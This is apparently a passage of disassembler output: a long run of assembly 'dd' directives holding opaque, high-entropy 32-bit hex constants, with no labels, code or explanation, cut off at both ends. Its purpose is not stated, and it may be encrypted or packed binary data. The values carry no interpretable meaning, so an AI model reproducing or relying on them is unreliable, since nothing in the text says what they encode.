		dd 55283AE9h, 0A749AFD3h, 0BFE9F89Bh, 1103FF00h, 0BAF83BF9h
		dd 0C8E9D267h, 40B5582Bh, 2B9B5D33h, 5213D189h,	3465010Ch
		dd 64686044h, 0B1BF4C06h, 3330C9A0h, 20B454A9h,	9E90E14Bh
		dd 6837B605h, 1A45615Ch, 8B511E9h, 9FF24860h, 5F605AE2h
		dd 2712F6EFh, 2CEF088Ah, 6F166450h, 730175B7h, 33F0926h
		dd 0E06BEFCDh, 6A36F0AAh, 0CE4EF68Fh, 86C53C4Ch, 1887EF4Ch
		dd 0F20A27CAh, 7083135Eh, 0C8350969h, 7EA4E9FDh, 734ABC07h
		dd 8013FEF9h, 14B5B81Eh, 75354752h, 655658B7h, 0D54C325h
		dd 14ADE68Bh, 460D3A4h,	0ABF2CEE0h, 6881DAF5h, 383975EEh
		dd 3A7AFD0Eh, 45A67285h, 671DA44Eh, 0FC2D20BCh,	0CAA6E2E5h
		dd 0CC20FF09h, 1BBA7BA8h, 695B64FAh, 0B7557FCCh, 48F99A54h
		dd 0E13B9F79h, 0EE5DB98h, 0F90B295Ch, 0FF54505Fh, 3B7DA638h
		dd 83F133C9h, 0EEA4E17h, 10C28090h, 6F98E267h, 5887F649h
		dd 8EE9125Ah, 10A11478h, 0C48C2E1Bh, 8B576707h,	880C28B1h
		dd 972B32C6h, 66388DECh, 2DFE5AFAh, 501BFD27h, 30A1BA8Bh
		dd 1165814h, 0D33102FEh, 71DF215Ah, 378649E7h, 305B4152h
		dd 555D1C01h, 66AD3ABDh, 2E44B600h, 709F2501h, 6C762FC6h
		dd 0E78E454h, 83CF9182h, 7141AA2Dh, 0F0143E50h,	9ABA63C0h
		dd 926C0340h, 97F77386h, 2EFA400h, 8362A3E9h, 54749C9Fh
		dd 0D964523Fh, 735D0127h, 0C2461336h, 7640479Ah, 31277CF9h
		dd 9434F341h, 0E27EFE3h, 4D2E663h, 9CE90AA1h, 0B9B66A17h
		dd 49C96E10h, 0E3880EA8h, 0A5DA6E52h, 0AB2D5AD5h, 4E35C574h
		dd 0ED0D9DF3h, 0EB957A21h, 6FF60E16h, 218C891Ch, 0DCACEA40h
		dd 351B6839h, 199300D0h, 99E9060Bh, 9DBFED48h, 0A25D6E4Eh
		dd 0F1249468h, 133F82D3h, 17C03EBEh, 0DC1857B0h, 0CB285540h
		dd 0AAB652F5h, 3426A617h, 848E5D21h, 9D553418h,	54AB0084h
		dd 83B674C2h, 5CF8E40Bh, 0E38140CAh, 49130E31h,	8854333h
		dd 0C955D0EBh, 902FFD3Fh, 41F5089h, 9D78ECF2h, 30C0AA77h
		dd 60740C15h, 1A38FA42h, 83982C30h, 6B0D2205h, 10BE292Eh
		dd 0B0500894h, 0A89D5ABAh, 0F1BCB5F6h, 5691B9C5h, 1453BD9Bh
		dd 8BD94327h, 3BEE8587h, 4047F3AFh, 6C3CC5B6h, 47BB01C1h
		dd 316DAC7Ch, 1F9DF63Fh, 398FA4B9h, 84D9A95Ch, 2EAC876Ch
		dd 0E9F229E0h, 0A427D62Dh, 1FD0702Eh, 24560CBFh, 825F762Eh
		dd 4B7C5E40h, 613FC41h,	60F3EE8Eh, 0B4BA3D72h, 6A5F2C25h
		dd 34C25680h, 9F6C1726h, 0DCF2E031h, 5627019Eh,	0C29654A1h
		dd 12A0DD9Fh, 41EB966h,	17282D25h, 5DFE15BAh, 0FF5AD613h
		dd 2DE93338h, 15A34F2Eh, 0EA84698Eh, 356ADB2Dh,	5AFDE27Ah
		dd 677B1DB0h, 0E3EA0F19h, 4540E5D0h, 60138CA6h,	9EF70230h
		dd 0B34FF349h, 0C0BED3B5h, 0EA3012B9h, 124D6F58h, 26F36E65h
		dd 21DF69C5h, 707E7AB2h, 48904A65h, 0C568CE0Ah,	8B3CB928h
		dd 0A962BEE9h, 2971AF9Eh, 75A129A1h, 249BBB91h,	0B95551D1h
		dd 57238A6h, 11BA4B85h,	0FB76CD00h, 952912DDh, 0D88138B2h
		dd 309262A0h, 0E92FF9E8h, 0BBBD607Fh, 5D0F1FAEh, 0E5E2DBEh
		dd 9DCAE958h, 0C206837Ah, 57A35E21h, 2CBB48C4h,	7E90804h
		dd 0FC45AE11h, 2CBFD509h, 3552295Fh, 0D1705E2h,	0CD4D69A4h
		dd 906BD902h, 0CDECFBAh, 0C675C30h, 959D38A2h, 610B9E0h
		dd 0E97FF005h, 0CBBD0308h, 0B52E8676h, 1700A19Bh, 0E972CE80h
		dd 798465B8h, 0D4AC87C7h, 4314FF28h, 312512D4h,	6FE893CDh
		dd 984378B3h, 63F09D3Fh, 0C08B0852h, 0AEAB850h,	29711946h
		dd 94582644h, 940F0431h, 0A62F12CEh, 32670427h,	0AB26BB7h
		dd 0B49ADF92h, 0BE1590D5h, 0DDFF06F0h, 0C4F231D7h, 2A535B55h
		dd 979F15B8h, 9245EA93h, 135F7B61h, 0BF97948h, 0ADC1E188h
		dd 4DE12E58h, 0E8A5B138h, 13EBD3DBh, 0BDCCFE6Ah, 0F6F903B1h
		dd 0C0E180D9h, 1337063Bh, 17AE51C1h, 393CEA39h,	8CC32F80h
		dd 28EE037Ch, 0AA5912C5h, 0CC58EE9Ah, 0A9CCE90Bh, 6155DF9Ah
		dd 120397Ch, 3F9C4DEh, 14A4E332h, 81B77AF0h, 77FA3392h
		dd 87103871h, 4C20B8h, 3C057DADh, 2538E870h, 95B1E05h
		dd 0FAA84061h, 4889A24Ah, 6A3B5896h, 2D59046Ch,	746310FCh
		dd 788F27DEh, 0F1F4A5C8h, 38BFA22Ch, 98698B3Fh,	2D36072Bh
		dd 7F221A72h, 8837470h,	5E141C40h, 3591895Dh, 0EDB2880Fh
		dd 87A9A897h, 4D475AEDh, 0D5D5F762h, 0BAF892CCh, 0FEB940DFh
		dd 65F90B9Fh, 7DE5A73Fh, 69105F27h, 9530E9C3h, 0FFEE2BA6h
		dd 0B5FD7407h, 4640B542h, 893F40DFh, 90F1807Ch,	0E9010503h
		dd 0C09B72Ch, 0C53877D0h, 30BF4E6Ah, 0F8015B9Dh, 1B7C2D02h
		dd 0F75F49C0h, 0E20ED96h, 0B5D0F856h, 3025E470h, 721B7CEEh
		dd 356B6380h, 0B9065A5Fh
		dd 0CA990F2Fh, 0E55D4F8Eh, 96BD3E7Ah, 5A6AF875h, 8FCEB9EAh
		dd 78A26B54h, 7D2DF094h, 0D3B2D68h, 5A8BFA65h, 39D5B0A3h
		dd 52D6B64Dh, 5CAF2C79h, 0DF0072E4h, 1FBE68E1h,	21F0DBB7h
		dd 0E7E9061Eh, 0C01E208Fh, 660B05EEh, 50529959h, 6B58DB9Dh
		dd 555D0F34h, 0D87F0B5Ah, 410C3864h, 0F40AF640h, 0A11C0602h
		dd 5A72D303h, 0A5603231h, 0D384ED23h, 90EC2E6h,	68F7215Dh
		dd 0C04D21E3h, 9D7D07E0h, 8E0E82C6h, 325D7463h,	9C767101h
		dd 7DFEA28Bh, 96B09A44h, 0B8265DEh, 0DD4E7A69h,	74058609h
		dd 9E28270h, 64DFF2EAh,	275EE499h, 5978C769h, 3CB4409h
		dd 0FE340534h, 8380CAAFh, 4E1757E9h, 1372B8A9h,	0ABC95DE8h
		dd 0D265E37Fh, 0EF721091h, 0C2B3242Eh, 4677D3D6h, 3F94969Bh
		dd 92FDFEA5h, 220C407Fh, 72A00367h, 0A9E6814Eh,	81038AC1h
		dd 0BD631B0Ch, 0E03E463Fh, 7F2DDE17h, 0BCA2F0FDh, 9137539Ch
		dd 9EB1E21h, 0F905DDA2h, 0B155A0ECh, 60C1165Fh,	0D672F660h
		dd 0E2EE705h, 250BAD2Fh, 0BA0B6056h, 8EB3141Dh,	2704D3EEh
		dd 0C00E2275h, 0D3E9571Bh, 5E26FA69h, 60EB608Eh, 9CC19129h
		dd 0A00AD9C3h, 40D4D570h, 0D30B683Ah, 80288F26h, 72CEAF1h
		dd 0E4F84FCDh, 3940DAD8h, 5AF7EC53h, 4F1FE2C3h,	8F09BAF9h
		dd 0F5822350h, 0B057B6FBh, 836BBA46h, 93D6E1F3h, 765EEA07h
		dd 0D6B5413Ch, 2D5D9740h, 7564031Ah, 27491353h,	0F8EE0524h
		dd 6A071D05h, 7EE40B11h, 0E3B848E8h, 79AFC41h, 0F9097790h
		dd 0FF7A777Dh, 0FD687581h, 0CBC4384Fh, 681A7DCEh, 0A08BD556h
		dd 2E1BDFC3h, 0BB0BBCCBh, 84C20159h, 1A84D51Eh,	0CE477181h
		dd 8062F26Ah, 2772A1C5h, 118B4441h, 66D40BB5h, 5EB5F670h
		dd 49CAA4DEh, 0ACCFE32h, 92F4204Fh, 5824E628h, 228A1A66h
		dd 0D3AF2378h, 752B82FDh, 0B4C073A1h, 9C3B34DEh, 7836165Bh
		dd 5BEF4F8Ch, 0CE54BCE7h, 914EF0D6h, 26D9B774h,	58761A99h
		dd 51E2F540h, 0DCDA07F7h, 5B3592A1h, 0B3504B7Ch, 9049CD9h
		dd 44D45D53h, 8DF8E961h, 68D60400h, 7E4B842Eh, 0E62108C2h
		dd 55C951Bh, 5B079F0Ah,	9C1A542h, 0A10E5F4h, 1258012Ch
		dd 0EAF1572Bh, 0B9FC972Dh, 0A399A6F6h, 0C0EF5ED8h, 0EB54184Bh
		dd 0DA492327h, 705E093Ah, 4E02423Dh, 4DAF0995h,	0FAF4CD05h
		dd 52C4Bh, 741870B1h, 25F99555h, 58C0E942h, 5BD070Bh, 19562A27h
		dd 606B5D70h, 2A67718h,	56CBDB38h, 0BB4FF404h, 6BB2F3Ah
		dd 641ECE00h, 0EEC13908h, 0BEDD12DCh, 77B03ECBh, 7C90E9C1h
		dd 5F681265h, 0D72D68FDh, 0FB46580h, 0CEF2E520h, 0C9E7785Bh
		dd 9A0BEB50h, 1671BDECh, 4026E96Fh, 4E215D1Ah, 1042A6F3h
		dd 0BA021F81h, 630B0DDDh, 5836015Fh, 0E82A3C87h, 3E9A1B0h
		dd 25A4173Eh, 2727B4C6h, 4D4AD7E0h, 0FEA493ACh,	0C85AB5E7h
		dd 0E4B6A3B1h, 622B77ADh, 0F2CBA4F4h, 0C0832007h, 0ADF67484h
		dd 33FD994h, 0EF8003E7h, 0F3BDD94Ch, 4C99F7AFh,	4249EC81h
		dd 0FE14A034h, 0E32B05B1h, 9CD1080h, 2A734ACDh,	0B525FA4h
		dd 53EC3FB9h, 77E94C40h, 0E1251F34h, 805B070Ch,	545CC551h
		dd 0B82DD85Dh, 0F13ED901h, 0E49CE93Fh, 8D54F62Bh, 0BB847D0Ch
		dd 0A31B3468h, 36760F1Ch, 4925617Bh, 520CC14h, 5E02F33Eh
		dd 0A0F99475h, 0B783BF5h, 7EE96F39h, 2A03AB79h,	51E58C7h
		dd 792DBBC4h, 0B250FF6Ah, 1E5B3008h, 7F6B513Bh,	40F84C18h
		dd 0F26EAD5Bh, 0E9C8C855h, 3B6C9269h, 7C972AB7h, 7B31BEDCh
		dd 212BBF57h, 9198D3h, 0BC5B5868h, 11547A04h, 0E069D359h
		dd 7117C502h, 687F0583h, 2D696623h, 0A6D84AE5h,	3854A297h
		dd 80862370h, 0B8B90A4Bh, 0C1B4A4D3h, 74CA804Ah, 16F0C22Eh
		dd 0F545FB92h, 81AA0EB3h, 0D404EBD8h, 0CB05FED3h, 30EDF380h
		dd 2281ADC4h, 0EC2AE638h, 0A6548AB9h, 1F4C7E1Fh, 7AF0FDCEh
		dd 5F1C7F6Fh, 51398327h, 2AAE01B1h, 0C02ACED9h,	0AA3324Fh
		dd 5A5E4D77h, 0E982F2EDh, 5D052C2Fh, 9F7F0F4h, 17D8449h
		dd 0B793277h, 0AD1C020Ch, 2E455A8Ah, 0B2D0EA0h,	3904F189h
		dd 0EED8EFD1h, 7CD6B701h, 6B43406Ch, 360B1D0Ch,	5FC31B0Fh
		dd 62F11DDFh, 3F5DAC38h, 368D4405h, 0B4C647C4h,	0EC5E68E1h
		dd 53598BB9h, 4ADAA656h, 6CDBD553h, 153A056Fh, 0D7C3F04Bh
		dd 0BE5A5BA2h, 0D21DC145h, 1F4B6062h, 2C6835Fh,	575D9A9Fh
		dd 3860CBDAh, 0D2B6827h, 0CD2758B4h, 6FC22089h,	3F507461h
		dd 2CF202E9h, 0A3F12504h, 96D96764h, 14DD2501h,	205890C5h
		dd 0E5C42BA0h, 0BB1628BAh, 4B939920h, 4A7A4CE4h, 0E88E7112h
		dd 98C28B31h, 4E08E5E3h, 9275A201h, 87F4AAF8h, 307D1B70h
		dd 9002C4F1h, 389C1Bh, 0E440D0BBh, 0CB268145h, 7E261A2Bh
		dd 270EEB12h, 6CF0D3E1h, 83104142h, 0E645C690h,	0C2FAEB0Dh
		dd 30889EAh, 0D03397F8h, 6072E973h, 32CD33DCh, 6A5C1F20h
		dd 0A8EB0F06h, 158217E5h, 96EF689h, 0B90488E1h,	6119EE7Ah
		dd 0C3400206h, 603EBFF0h, 26DA7AFDh, 42924584h,	98C81A20h
		dd 0BFE7D600h, 650915CCh, 25C20C3h, 0AE1687Fh, 0DD5E9A7Fh
		dd 0C820981h, 0BFF36B01h, 0D54210h, 0F202CCBAh,	5CCA811Dh
		dd 2D3F4316h, 89258EE1h, 0D3E9D108h, 4836BEACh,	0B1511249h
		dd 828AFB8Fh, 14D43610h, 4EA1C201h, 5658DD92h, 67546B9Eh
		dd 7C676860h, 0F77F5075h, 5DF900CFh, 0E7D1712Ah, 0D027E947h
		dd 73437259h, 8E2D17C8h, 43A0D58h, 75313FDAh, 8000B160h
		dd 0F62E4FC5h, 0ED105AD5h, 0D1F95B2Dh, 91CC04EBh, 0C034B000h
		dd 0FE7407E8h, 17D8F63Fh, 0BEB90C7Fh, 57586B94h, 0EFD4018Eh
		dd 0FDFB9C13h, 7EB089C8h, 715C256Eh, 0E81E8DEAh, 90EF8A13h
		dd 5ECB2502h, 0F4F462BFh, 0CE0BA062h, 0B29FE9B7h, 0CC823050h
		dd 0BB02A7E1h, 0F396601h, 1D4711DCh, 40C5E853h,	50015B08h
		dd 17B26857h, 1774606Ch, 4AA00AB7h, 62A18923h, 0D70928CFh
		dd 3AB85731h, 93AA4817h, 21C59AC3h, 1BBF66Fh, 47F30ACh
		dd 0EE4A9F9Bh, 2849D537h, 68870862h, 48C90F17h,	9704DCB5h
		dd 0B0C11FE4h, 2BEB0F76h, 94659EA7h, 2EFEB4Eh, 68B48086h
		dd 9D59CF33h, 0A8C88AF4h, 264EEB43h, 2527F547h,	8742D0E0h
		dd 64BDA34h, 9A3087AFh,	0C4E90B48h, 73D545C2h, 0D1E9C153h
		dd 0C43F2CDDh, 28AB60EBh, 76609DE5h, 48C1ED17h,	0D9D8B7C0h
		dd 0E347900h, 50FD292Fh, 0F308ABB8h, 17224158h,	3AEAB12Bh
		dd 0D8EF6F1Fh, 2038092Bh, 90B5513h, 2FB03D5Ah, 1713F959h
		dd 6A6C6C8Fh, 8F599D0Ch, 0FAE62EC2h, 751AECF3h,	86BF1357h
		dd 3982BF51h, 905C0D0h,	55E925C7h, 0C6F50989h, 2DFB41B0h
		dd 727E118Bh, 0D8605039h, 0B3255DC2h, 4884474Ch, 0E90840BBh
		dd 3CC8A85Fh, 960D050Fh, 0C4875831h, 533C8352h,	20F31F0Eh
		dd 6A3B0F56h, 0C185F226h, 0B30103E5h, 13012F83h, 0FE4AF5D8h
		dd 0C0760ACh, 1ADEE7A3h, 8A3E8CBDh, 7C7806E3h, 474FE914h
		dd 0DF305676h, 0F3C66932h, 1BA25C4h, 793AF95Ch,	2D0C96BFh
		dd 5B9B504Fh, 645C0EC8h, 85CF68EFh, 28BB294Fh, 910F2DD0h
		dd 0EB49DE5Ah, 0FB3100D8h, 0A0372101h, 2D321CEDh, 82555A40h
		dd 4CCF1329h, 3E872FC9h, 3D71F720h, 0EFFC6E86h,	756044B8h
		dd 61D7F6C5h, 4B6BB06Fh, 0BBEB85A5h, 0D82B70DDh, 0E90BF740h
		dd 0FE29BD68h, 0DF46E2D4h, 0EE163049h, 95F22A0Ch, 3CAAA349h
		dd 0DA310914h, 0F6E3705Bh, 25274EC6h, 8FE4AF91h, 0DDD68ACEh
		dd 0FD5A7D82h
		dd 1E967D54h, 278CC3B5h, 55C66324h, 5015909h, 763C2FFDh
		dd 0B92B4EF5h, 0F611A153h, 0DEB75300h, 0EE7801Ch, 88CFC7C0h
		dd 6074E9FDh, 0E58120CCh, 33057378h, 0CDE680Fh,	0D81764E3h
		dd 0C0F1F3CEh, 517E5E05h, 2EF0BD0Ah, 14E90780h,	58368660h
		dd 980CEFEh, 0F7888DEEh, 3EF0A64Ch, 8E469Fh, 0C2FE93B2h
		dd 0E951E2D0h, 32BFF571h, 69940C5h, 0B2A35C6Bh,	2012D726h
		dd 38B79608h, 705EF3C9h, 0CAEF81CBh, 82566B2Eh,	62DBE909h
		dd 704C761Bh, 0CEB52473h, 2BF4A025h, 0B43697A8h, 58727497h
		dd 6815C4B4h, 71CD0DB5h, 9DCC435Ah, 0D7ABB52Ch,	0C2C57EF4h
		dd 0C0BF0FC1h, 942C4035h, 49371707h, 1305E555h,	0F8B60A06h
		dd 4AD310BCh, 77680DD1h, 5FF6E37Fh, 9F05F9F4h, 0CCF0C6E6h
		dd 9AB7B74Bh, 0D59B257Bh, 0C1206752h, 0FA9190F4h, 0C3C96BE6h
		dd 0D52A4A7Fh, 56E97151h, 36C17A6Dh, 0C9C068F3h, 5AFD242Eh
		dd 9DFDB7DCh, 0DA88D653h, 0E3C109DFh, 5FF37C87h, 9B23A02h
		dd 13F15077h, 4DE0ABAh,	2A4F74Bh, 5565EC68h, 7FD26EB3h
		dd 917A480Bh, 1377D234h, 4E1A2186h, 51CB48C5h, 8E66812h
		dd 467CD161h, 2DE92EC8h, 0D5CBD863h, 27F722E8h,	209DD4F6h
		dd 554EA6Eh, 0B1B58DFh,	6475A50Fh, 70FBD13h, 35A231E7h
		dd 3A4ACB60h, 43340604h, 40F5ADE9h, 6720BD5Eh, 3061D0EEh
		dd 0E70C77D6h, 384B6815h, 2B4A23C1h, 0D4D8BB01h, 56004669h
		dd 6B0337BEh, 0B7AC683Ah, 975E9DDAh, 0D85B6A0Bh, 0BBE5BFA0h
		dd 0CBEB5C12h, 0A6E90B9Eh, 98D5E4h, 288041D7h, 5EEDB8FEh
		dd 1C65B708h, 0F72D42DDh, 6333EF94h, 0A8BE0AEEh, 9860AD7Ah
		dd 23433BF8h, 0F6E0782Fh, 3E4E021Eh, 130F53A4h,	0FBA46715h
		dd 8B31F20Fh, 5BC6045Eh, 5D6D31Dh, 46972223h, 6D72B2FEh
		dd 0C75A5329h, 8C16E102h, 9073416Bh, 0BB688F84h, 1184D828h
		dd 0F01D0D62h, 0F21602Ch, 0EF909C3Ch, 0D4944B64h, 0EEFBC1Dh
		dd 0A71055CAh, 21F426Fh, 0C090E4F2h, 4F8AE981h,	0C7BAA41Ch
		dd 0ECD7FE07h, 0F55B2975h, 1C960022h, 4D989166h, 0D65F676Fh
		dd 875F0DCAh, 0F8D6350Ah, 0AD0F3BF6h, 553B007h,	42DFB975h
		dd 31E1CF01h, 0E0AA042Eh, 0B5F4BF5Ch, 0FCA3834Ah, 0B3D49B17h
		dd 5B24E7h, 0E75CB8h, 8097B450h, 0FAC0F1F4h, 79ECEC04h
		dd 0E5C43801h, 5B689872h, 6075FDB1h, 566A36C0h,	59A1C110h
		dd 2EA67DE9h, 0EB0273F2h, 39F91B13h, 4E084CDDh,	104AFC61h
		dd 0F55FB61Fh, 69B4E4F3h, 0DD0EBA97h, 802DC4D0h, 8BC27919h
		dd 36D56CCBh, 0E0D99688h, 68D0285Ch, 24A47875h,	4A4BAC20h
		dd 0B165E8ADh, 0A4ADC746h, 0E627ABF4h, 2DC4B036h, 94F4DA6Ah
		dd 4AFBED43h, 5ADBCA1Bh, 6B564428h, 8B5C1651h, 0EF0AA3C8h
		dd 0FE4B1A81h, 0DBD75A47h, 0F5913F5h, 90BB31EEh, 51B571A9h
		dd 6866D8EFh, 0D66716B7h, 0F7A80457h, 7168157Ah, 0B30F2D74h
		dd 95A58075h, 0BCD91288h, 0EE9C13BEh, 0A8A449ACh, 0E90DD856h
		dd 0DD8A60FBh, 0F023F3BEh, 0E75A627Bh, 257BB38Ah, 214938h
		dd 814E22A1h, 0D966EE0Dh, 8821E93Dh, 81EE85C7h,	10E723ABh
		dd 4C70C6F1h, 0D93ED0C0h, 3FD7E590h, 75140BBBh,	0FDC6A945h
		dd 9D4EA08h, 9C7DEF4Dh,	17B9F8Fh, 0E9A73069h, 11E6512Fh
		dd 0C60BE79h, 0E3707D5Bh, 0D0FCE925h, 258784CCh, 0FF515418h
		dd 8EC1FA16h, 0FD6E305Ch, 0DC181A18h, 0C668606Dh, 4FBEB612h
		dd 0D1E107E4h, 70A706Ah, 8EACB6A4h, 40815E18h, 461F60B8h
		dd 3297CA89h, 2C80BB50h, 0A305AD03h, 0B2BE0828h, 128893DFh
		dd 7A2D4937h, 40A73E85h, 59FEBA08h, 459C48D8h, 5EA9339h
		dd 0EB9BF01h, 8D302F9Fh, 0FC21727h, 0F81CEBCBh,	93EBE193h
		dd 5150FE10h, 190E350Bh, 20466480h, 3F92E681h, 0F6CCC088h
		dd 3B206259h, 0AFD07EBDh, 0E978005Eh, 0E7C75D7Ch, 0DF234604h
		dd 504C208h, 0A597078Fh, 5EAC52CDh, 0F6F916F5h,	7414B53Ah
		dd 0EBF0EB24h, 7825D881h, 35CC932Bh, 46793C7Eh,	2755E91Dh
		dd 0B2C89273h, 909655ADh, 78BCD5A1h, 65ED5E5Dh,	0FDB69F84h
		dd 0C14310AFh, 1AF20119h, 0BD5D503Dh, 0A4502297h, 0F84AD696h
		dd 91E600ACh, 5F29B2BDh, 5AB8F006h, 0F2307295h,	53B04CF3h
		dd 0E95A03F4h, 832E575Dh, 0BF0135D8h, 77428A7h,	7D6B22Bh
		dd 546B3460h, 73E0216Fh, 1C3E3593h, 0E910983h, 0BDDC6E88h
		dd 6FACF83h, 2201290Dh,	18514B78h, 0A97CFE09h, 2744E9A0h
		dd 2B7BD782h, 4E9E0249h, 0EB9D5488h, 0C55F380Bh, 27BB0020h
		dd 520AF95Dh, 6D9CBA00h, 0D3E970CDh, 0E02E9256h, 5F0FB7Fh
		dd 20241392h, 0D8880462h, 854609B1h, 0D34BE00Bh, 0CE608AD5h
		dd 0A2874F8Eh, 5F111B68h, 6FE7E18h, 786A1225h, 68CE0437h
		dd 80092359h, 76D0C7Fh,	6A0C6161h, 7B30CF6Eh, 8D45602Ch
		dd 390C298Ah, 0EDCAEEF5h, 10DE63F5h, 722CF6h, 805AD508h
		dd 39536DF5h, 0FC02EF88h, 6E7FE95Bh, 0B0682D48h, 0A0E26C5Ah
		dd 902CFB92h, 9B84250h,	7F7F79E9h, 0DE974734h, 12B3C54Bh
		dd 9E9EC033h, 6A4D5B22h, 5452147Dh, 0C0E9C439h,	2B0ED7F1h
		dd 871CFD4Ah, 7709AE68h, 0F75F7F44h, 0CF4B45ACh, 5FE4E5Eh
		dd 0A331F5F5h, 39DB348Bh, 9B8E01FAh, 0F330A229h, 0DBDFD6B2h
		dd 58054BFBh, 0D48AAFF4h, 97581250h, 0C3833F81h, 0A2302001h
		dd 0BD4AF31Fh, 0C48CDC89h, 6D73B713h, 0A85240E9h, 3B54011Ch
		dd 0B0342DBEh, 0D3FD6B9Ch, 4F814E8Bh, 202D6F80h, 2097CEF3h
		dd 7F30F328h, 581D4845h, 3A7CFB2Fh, 2B4968E0h, 0BA1D5A97h
		dd 0B820C24h, 3E3055A1h, 3B4B7A68h, 0AB4A1FE7h,	82BECE2Dh
		dd 2511A34Fh, 68D20265h, 0D1BAEB99h, 0CD63180Dh, 43C86EDBh
		dd 4EC53886h, 6EE6F0BEh, 8457D111h, 0B9A35D05h,	9D6D8F13h
		dd 52E3EDF4h, 78D55ECDh, 0A5C20504h, 0F554D17Ch, 1C080618h
		dd 7402FE12h, 68A9BC07h, 16EC5F09h, 70B2C4F8h, 0F4F6295Bh
		dd 8E94257Dh, 0EC57A3B1h, 98B76069h, 500971h, 81417C56h
		dd 0F22ECEE1h, 574185Ch, 7276780Ch, 84A1D4BEh, 0FB9C4417h
		dd 7A9EA5CEh, 83B15804h, 60DD1BA3h, 2B1DE04Ch, 0C817CA42h
		dd 8FBAC4C4h, 0CAE90B0Ch, 2B9855E1h, 152F2185h,	1C8ACC0Ah
		dd 49629268h, 0A3D5592Ah, 49E32D1h, 0B252F047h,	7D05BE91h
		dd 0F5EA87CAh, 3A122A6Fh, 0FC2BE1D3h, 0A54A2A14h, 7EB5ED91h
		dd 88345D07h, 3944B27h,	0C30432F9h, 819A796Ch, 3EDDFE12h
		dd 0BA13DCE7h, 0D49FA901h, 59CF8B7Ch, 8EA4E5h, 1D0D6686h
		dd 0CA0F815Ah, 9DB5547Bh, 26047DAEh, 0C024C6Eh,	0C15F4915h
		dd 127F12F7h, 0A191EDB1h, 679366BDh, 1FC508EBh,	1894542Dh
		dd 4DED3156h, 65DD471Eh, 17A71BCDh, 0D57F6D8h, 0C1014485h
		dd 81080556h, 3239222h,	0D61A0541h, 0F0C90EC6h,	0FD5E8938h
		dd 0FED68CF2h, 0BF688630h, 96A5CF39h, 56B928B7h, 678C6811h
		dd 0F0487327h, 0D17302EFh, 2C04DCB0h, 4F35CB28h, 763E0C2h
		dd 0D5F7E387h, 12860848h, 0BDF4DC32h, 2A6A1E0Ah, 0B53BC87Dh
		dd 760E6801h, 0C03F3E1Ah, 0CC07DF11h, 20B37E5Ch, 158187Ah
		dd 20C93ECFh, 307C983Fh, 35BB1D93h, 2B380BA4h, 2679DD01h
		dd 169663h, 5390BD0Ah, 0CD815E59h, 0C50B550Ah, 0BF00BD65h
		dd 89A6803Fh, 1DE930EEh, 4E0C199h, 0EF4C2D05h, 0D3A0FFFEh
		dd 98140C5h, 0A43FAB5h,	643F6DDAh, 0C0081F8Ch, 0F13BB8F7h
		dd 4C25E935h, 0EA2474D5h, 0AC4F0C02h, 0AE4D9D9Fh, 0ABAD256Bh
		dd 35C85FB7h, 4F5A236Ah
		dd 78F4ABA1h, 403A9E75h, 749D61E8h, 730B72C0h, 0A4297F9Eh
		dd 7CE910FBh, 0E28C50E7h, 69A0FCB7h, 7D430B55h,	50BD806Ch
		dd 0CED233E9h, 67D3C381h, 6AF7399Ah, 0E9080151h, 572F826Bh
		dd 4F57FA50h, 0C9595FFEh, 3D98964Dh, 1CFCB951h,	3A151029h
		dd 0C0D7EE31h, 58638105h, 8BE37BBDh, 7F706882h,	8C92EA79h
		dd 12F2C7C8h, 1A3E6D7Bh, 80A6C13h, 6C86AE85h, 753A201Eh
		dd 0D9F7962Bh, 0BAE5C0ABh, 7975CB59h, 256138FFh, 0FA02EC53h
		dd 0E6695439h, 0D7301EFCh, 0B1989277h, 1AB96AEBh, 0E9CA03A4h
		dd 0DC09BA16h, 72302568h, 25D8B653h, 5420A59Bh,	48B975CDh
		dd 53414218h, 106B6422h, 38B70DF1h, 614472E0h, 95EEDE29h
		dd 592F0A2Ch, 0EB0B83D0h, 9034E62h, 287C241Fh, 4C3089C9h
		dd 5B924015h, 0B511F2BDh, 77D22160h, 0CC629B96h, 5A072Fh
		dd 4CF068C3h, 3E366695h, 0B05F8012h, 0E9102BEEh, 0BA0231D8h
		dd 615C3950h, 7BDF9683h, 8AFC6A92h, 908ED14h, 6327E95Ah
		dd 40E3E051h, 780A6243h, 9A553922h, 0D34AD5A1h,	0E9DF0501h
		dd 0F13EFCh, 7EC48A7Ah,	9AE2352Ch, 4E8EF547h, 8BEE1627h
		dd 264674Ch, 28D03173h,	3E06C206h, 9233D2F7h, 648C710h
		dd 9A60100Ch, 8A69068h,	0BE01D808h, 43C26437h, 9F5EA870h
		dd 60F15CBAh, 14A86805h, 0F4104DA3h, 0BB2D058Bh, 0D6EFBDDBh
		dd 0C7A00665h, 0F6304F25h, 0E0360D55h, 0FA2EA67Ch, 1CAA253Ah
		dd 0FF5E6350h, 0DBFA5B85h, 13E152BBh, 34FFC4B6h, 4191E8BEh
		dd 4FAC6B89h, 19DCEFB5h, 5A972FE9h, 3C6D1EC8h, 0D00A032Fh
		dd 800DD6EBh, 87E95579h, 0D2A4460h, 2C216BE3h, 13104007h
		dd 838088C8h, 4F02441h,	0E37495ACh, 71407F42h, 3D78828Dh
		dd 7D7419B2h, 347B2E39h, 0A109CAA8h, 563D2726h,	625D2891h
		dd 76505756h, 0AFBAA35Dh, 0BF0D03F5h, 200564EFh, 0A8BD1812h
		dd 484C13B2h, 21471805h, 68E0C075h, 0D82F4678h,	11524019h
		dd 18777B0Bh, 82CD95E9h, 1600B850h, 4027D86Bh, 2D4D3C05h
		dd 0BB4642BFh, 6F589E81h, 6040AC22h, 0A40B7ACAh, 0D1A934A6h
		dd 89A05F46h, 0DB213E2Ch, 0C23BC468h, 60575957h, 64F11FEFh
		dd 0DB02EC98h, 131496Bh, 90808D3h, 14C294E9h, 0C20402D5h
		dd 16914637h, 0EF774B68h, 0DAA7452Dh, 887E7BEAh, 373F73ADh
		dd 76C38014h, 8A04153h,	525773Fh, 0A0BC7B21h, 88E1BC0Ch
		dd 0D68A8D7Fh, 27090B5Ah, 4EF84649h, 0BB25A0ACh, 574F2C0Bh
		dd 40DB6239h, 9F179929h, 6812D366h, 27A62F13h, 0BCFA2317h
		dd 0C883A574h, 0E2BB8535h, 4394B418h, 752DA51Ch, 0E0B56A14h
		dd 79056E8Eh, 21E981A6h, 64A3171Dh, 1372A81Ah, 0BE1DEE21h
		dd 81E95315h, 1C1F3E63h, 4FC4AE91h, 707A2CAAh, 70FFAA7Eh
		dd 0D841B400h, 488DB930h, 0F9810AA1h, 7A07683Dh, 0D4C4AFB2h
